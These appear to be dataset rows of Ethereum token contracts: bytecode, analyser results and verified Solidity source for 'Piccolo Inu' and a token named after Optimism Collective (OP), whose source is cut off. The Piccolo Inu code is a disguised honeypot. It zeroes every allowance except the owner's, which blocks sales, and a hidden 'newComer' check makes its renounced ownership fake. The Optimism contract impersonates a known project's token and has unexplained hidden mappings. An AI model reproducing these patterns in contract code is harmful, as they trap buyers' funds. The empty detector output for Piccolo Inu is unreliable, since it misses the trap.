5b610695600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061122a565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107405780601f1061071557610100808354040283529160200191610740565b820191906000526020600020905b81548152906001019060200180831161072357829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600061084d848484611382565b90509392505050565b60065481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ba57600080fd5b600360149054906101000a900460ff161515156108d657600080fd5b6108eb8260005461166e90919063ffffffff16565b60008190555061094382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610a3e57600080fd5b339050610a9382600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168c90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aeb8260005461168c90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c54576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce8565b610c67838261168c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f855780601f10610f5a57610100808354040283529160200191610f85565b820191906000526020600020905b815481529060010190602001808311610f6857829003601f168201915b505050505081565b6000610f9983836116a5565b905092915050565b60075481565b600061103882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112c257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156113c157600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061149283600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061157d838261168c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600080828401905083811015151561168257fe5b8091505092915050565b600082821115151561169a57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116e257600080fd5b61173482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820911ae9e0ef225e9b765b1a74a998ddd0cf29ec8e16c4cf3a502a29045ebba0a80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,775 |
0x58d6325ca327602c52409029300390518c2a420c
|
/**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
pragma solidity ^0.6.12;
// tg: https://t.me/PiccoloInu
// Friday 10/22/21
// Piccolo Inu STEALTH Launch 🚀!!
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PiccoloInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = 'Piccolo Inu';
string private _symbol = 'PICCOLO';
uint8 private _decimals = 18;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 6;
uint256 private _previousLiquidityFee = _liquidityFee;
// Address that are identified as botters .
mapping(address => bool) private _includeToBlackList;
/**
* @dev Exclude an address from blackList.
* Can only be called by the current operator.
*/
function setExcludeFromBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = false;
}
/**
* @dev Include an address to blackList.
* Can only be called by the current operator.
*/
function setIncludeToBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = true;
}
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636bc87c3a116100975780638da5cb5b116100665780638da5cb5b146103ca57806395d89b41146103fe578063a9059cbb14610481578063dd62ed3e146104e5576100f5565b80636bc87c3a14610306578063709432381461032457806370a0823114610368578063715018a6146103c0576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce567146102835780633b124fe7146102a457806368d4a994146102c2576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b61010261055d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ff565b60405180821515815260200191505060405180910390f35b6101e961061d565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610627565b60405180821515815260200191505060405180910390f35b61028b610700565b604051808260ff16815260200191505060405180910390f35b6102ac610717565b6040518082815260200191505060405180910390f35b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061071d565b005b61030e610842565b6040518082815260200191505060405180910390f35b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610848565b005b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096d565b6040518082815260200191505060405180910390f35b6103c86109b6565b005b6103d2610b3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610406610b67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044657808201518184015260208101905061042b565b50505050905090810190601f1680156104735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104cd6004803603604081101561049757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c09565b60405180821515815260200191505060405180910390f35b610547600480360360408110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c27565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c610cae565b8484610cb6565b6001905092915050565b6000600454905090565b6000610634848484610fd5565b6106f584610640610cae565b6106f08560405180606001604052806028815260200161141f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a6610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128f9092919063ffffffff16565b610cb6565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60085481565b610725610cae565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b610850610cae565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109be610cae565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bff5780601f10610bd457610100808354040283529160200191610bff565b820191906000526020600020905b815481529060010190602001808311610be257829003601f168201915b5050505050905090565b6000610c1d610c16610cae565b8484610fd5565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114906024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113fd6022913960400191505060405180910390fd5b610dca610b3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ee9576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610fd0565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113d86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061146d6023913960400191505060405180910390fd5b61114d8160405180606001604052806026815260200161144760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128f9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061133c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113015780820151818401526020810190506112e6565b50505050905090810190601f16801561132e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122074c4768f23e5e20cafaab79acaa36461008461f6c43d403ed84340db42c87a6864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,776 |
0xdf4105a27eb01cd80446090ed107f6e9ab64bc20
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Optimism is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAuthority;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x9996571372066A1545D3435C6935e3F9593A7eF5;
address public _authority = 0x4E192FaD616Aa76A99a5f02Cda642C921D352254;
constructor () public {
_name = "Optimism Collective";
_symbol = "OP";
_decimals = 18;
uint256 initialSupply = 4294967296 * 10 ** 18;
_safeAuthority = _authority;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
